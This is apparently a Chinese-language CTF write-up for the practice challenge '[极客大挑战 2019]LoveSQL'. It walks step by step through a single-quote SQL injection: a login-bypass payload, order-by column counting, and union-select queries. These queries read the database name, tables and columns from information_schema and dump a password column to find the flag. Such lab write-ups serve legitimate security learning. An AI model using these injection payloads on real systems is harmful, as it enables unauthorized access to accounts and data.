sql注入 [极客大挑战 2019]LoveSQL 1

打开题目

几次尝试,发现输1 1",页面都会回显NO,Wrong username password!!!

只有输入1',页面报错,说明是单引号的字符型注入

那我们万能密码试试能不能登录

1' or 1=1 #

成功登录

得到账号和密码

我们登录一下发现什么也没有

爆破列名字段数

1' order by 4 # 页面报错

但是1' order by 3 #时

页面没有报错,说明列名字段数为3

爆破数据显示位

1' union select 1,2,3 #

可以得到数据显示位为2和3

接着我们爆破数据库名

1' union select 1,2,database() #

得到数据库名为geek

爆破表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

当前数据库下的所有表名有

爆破列名

在这里我们先试试l0ve1ysq1表

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

得到其表下有三个字段

我们直接爆破password字段试试下面有没有flag

1' union select 1,2,group_concat(password) from l0ve1ysq1 #

得到数据

直接查看源代码得到flag

相关推荐
djjjx.4 小时前
Mysql数据库基础篇(八):详细讲解复合查询、多表查询、自连接、多行、多列子查询与合并查询
数据库·mysql
CoderYanger8 小时前
Java EE 进阶:9.MyBatis 操作数据库(进阶)(第八弹):MyBatis Generator
java·数据库·spring boot·spring·java-ee·tomcat·mybatis
MSTcheng.9 小时前
【MySQL】MySQL数据库——表的操作
数据库·mysql·adb
Yeats_Liao10 小时前
物联网平台MongoDB实战|(一)为什么选择MongoDB
数据库·物联网·mongodb
ZhengEnCi11 小时前
覆盖索引是什么:用借书和外卖看懂回表这件事
sql·mysql·postgresql
鹤落晴春11 小时前
MySQL日志梳理
运维·数据库·mysql
五彩小白12 小时前
Redis的过期删除和内存淘汰机制
数据库·redis·缓存
学长毕设12 小时前
基于SpringBoot 博物馆文物租赁及修复管理系统-附源码
大数据·数据库·spring boot
apcipot_rain12 小时前
C++转Java日记(14)
数据库
CoderYanger13 小时前
Java EE 进阶:10. MyBatis-Plus使用(第一弹)
java·spring boot·后端·sql·spring·java-ee·mybatis